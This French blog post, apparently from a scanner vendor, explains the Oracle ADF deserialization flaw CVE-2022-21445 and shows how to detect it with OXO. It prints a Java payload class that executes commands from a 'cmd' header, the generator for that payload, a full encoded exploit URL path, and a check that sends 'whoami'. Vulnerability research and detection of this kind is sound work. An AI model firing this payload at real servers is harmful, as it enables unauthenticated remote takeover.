CVE-2022-21445 : RCE par désérialisation dans Oracle ADF
Comment CVE-2022-21445, une faille de désérialisation d'Oracle ADF activement exploitée, permet à des attaquants non authentifiés d'exécuter du code à distance, et comment la détecter avec OXO.
Introduction
CVE-2022-21445 est une vulnérabilité activement exploitée dans la nature, encore à ce jour. Bien qu'elle ait été découverte en 2022, cette vulnérabilité critique de l'Application Development Framework (ADF) d'Oracle continue de représenter une menace sérieuse pour les entreprises. Les attaquants peuvent l'exploiter pour exécuter du code à distance, sans interaction ni privilège requis, ce qui en fait une cible très recherchée par les cybercriminels, même aujourd'hui.
Comprendre l'impact de CVE-2022-21445 sur Oracle ADF
À la base, CVE-2022-21445 est un exemple d'école de vulnérabilité de désérialisation. Le coupable ? Une classe en apparence anodine nommée org.apache.myfaces.trinidad.webapp.ResourceServlet. Ce servlet, chargé de gérer les ressources web, présentait une faille critique : il faisait aveuglément confiance aux données entrantes et les désérialisait.
Pour ceux qui ne connaissent pas ce concept, la désérialisation est le processus qui consiste à reconvertir un flux d'octets en un objet ou une structure de données utilisable dans un programme. Cela se produit généralement lorsque des données qui ont été sérialisées (converties dans un format adapté au stockage ou à la transmission) sont reçues et doivent être retransformées dans leur forme d'origine pour être traitées. Cependant, la désérialisation peut introduire des risques de sécurité, en particulier si les données désérialisées proviennent d'une source non fiable, ce qui peut permettre à un attaquant de manipuler l'objet et d'exécuter des actions nuisibles au sein de l'application.
Chemin d'exploitation de CVE-2022-21445 : comment les attaquants exploitent la RCE
Pour exploiter cette vulnérabilité, les attaquants ont construit un objet Java spécial qui, une fois désérialisé, exécute des commandes arbitraires sur le serveur. Le payload était ensuite encodé en URL et envoyé dans une requête GET vers un endpoint spécifique.
Voici un extrait du code d'exploitation qui vérifie si une cible est vulnérable :
def accept(self, target: definitions.Target) -> bool:
"""Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
try:
req = requests.Request(
method=self.check_request.method,
url=target_endpoint,
headers=self.check_request.headers,
data=self.check_request.data,
).prepare()
resp = session.send(req, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException as e:
logging.info("Request Exception Occurred: %s", e)
return False
if "X-ORACLE-DMS-ECID" in resp.headers:
logging.info("X-ORACLE-DMS-ECID header found in the response")
return True
return False
Ce code vérifie la présence d'un en-tête X-ORACLE-DMS-ECID, couramment associé aux produits Oracle Fusion Middleware, dont fait partie l'Oracle Application Development Framework (ADF). C'est pourquoi cet en-tête est utilisé pour identifier les cibles ADF potentielles.
Le payload : un cheval de Troie en Java
Le cœur de l'exploit réside dans son payload. Des chercheurs ont créé une classe LambdaIdentity qui, une fois désérialisée, exécute des commandes arbitraires. Voici une version simplifiée de ce à quoi cela pourrait ressembler :
package com.tangosol.internal.util.invoke.lambda;
import com.tangosol.internal.util.invoke.AbstractRemotable;
public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
String cmd = req.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process exec;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
} else {
exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
}
res.getServletOutputStream().clearBuffer();
res.getServletOutputStream().writeStream(exec.getInputStream());
res.getServletOutputStream().flush();
res.getServletOutputStream().close();
res.flushBuffer();
}
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
Lorsque cette classe est désérialisée sur le serveur cible, elle exécute la commande spécifiée par l'attaquant.
Détecter la vulnérabilité
Nous avons développé un script Python pour détecter les systèmes vulnérables. Nous avons identifié des endpoints spécifiques à tester, en nous concentrant sur les produits Oracle courants :
CONTEXT_APP = ["/bicomposer", "/em"] # Testing against Oracle Business Intelligence and Oracle Enterprise Manager
Le chemin d'exploitation a été généré à l'aide d'un script Java personnalisé Main.java qui construisait un payload encodé malveillant :
package org.example.miracle;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException {
RemoteConstructor remoteConstructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
);
String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
System.out.println(saa);
}
}
Et voici le chemin d'exploitation qui utilise ce payload :
EXPLOIT_PATH = (
"/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
"-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
"-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
"-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
"-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
"%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
"%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
"-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
"-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
"-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
"-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
"%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
"-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
"%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
"-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
"-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
"%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
"-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
"-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
"-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
"-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
"-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
"-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
"%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
"-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
"%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
"%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
"%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
"-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
"-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
"-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
"-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)
Le script de détection envoie une requête spécialement construite aux cibles potentielles et vérifie les signes d'une exploitation réussie. Voici un extrait de la logique de détection :
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.
Args: target: Target to scan
Returns: List of identified vulnerabilities. """
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
vulnerabilities: list[definitions.Vulnerability] = []
for context in CONTEXT_APP:
exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)
try:
exploit_req = requests.Request(
method="GET",
url=exploit_endpoint,
headers={"cmd": "whoami"},
).prepare()
exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)
if exploit_resp.status_code == 200:
response_text = exploit_resp.text.lower()
if any(
user in response_text
for user in ["root", "nt authority\\system"]
):
logging.info(
f"Potential RCE vulnerability detected at {exploit_endpoint}"
)
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)
break # Stop checking other contexts if vulnerability is found
except requests_exceptions.RequestException as e:
logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")
return vulnerabilities
Comment ça fonctionne
Le script commence par initier une session avec la cible, ce qui permet une gestion efficace des requêtes et des réponses. Il construit ensuite une requête GET adressée à un endpoint spécifique, en intégrant une command dans les en-têtes pour sonder le système. Dès qu'il reçoit un statut 200 OK, le script analyse la réponse à la recherche de signes d'une exécution de commande réussie, comme la présence de root ou SYSTEM dans le corps de la réponse. Si une vulnérabilité d'exécution de code à distance (RCE) est détectée, le script consigne l'événement et ajoute la vulnérabilité identifiée à une liste pour un traitement ultérieur.
Tester CVE-2022-21445 avec l'outil OXO
Si vous craignez que votre instance soit vulnérable, suivez ces étapes pour effectuer un test avec l'outil OXO. OXO offre un moyen simple de scanner et de détecter cette vulnérabilité. Voici comment démarrer :
- Installez OXO via pip :
pip install -U ostorlab
- Installez l'agent asteroid depuis le magasin d'agents OXO :
oxo agent install agent/ostorlab/asteroid
- Lancez le scan avec l'agent asteroid à l'aide de la commande suivante :
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET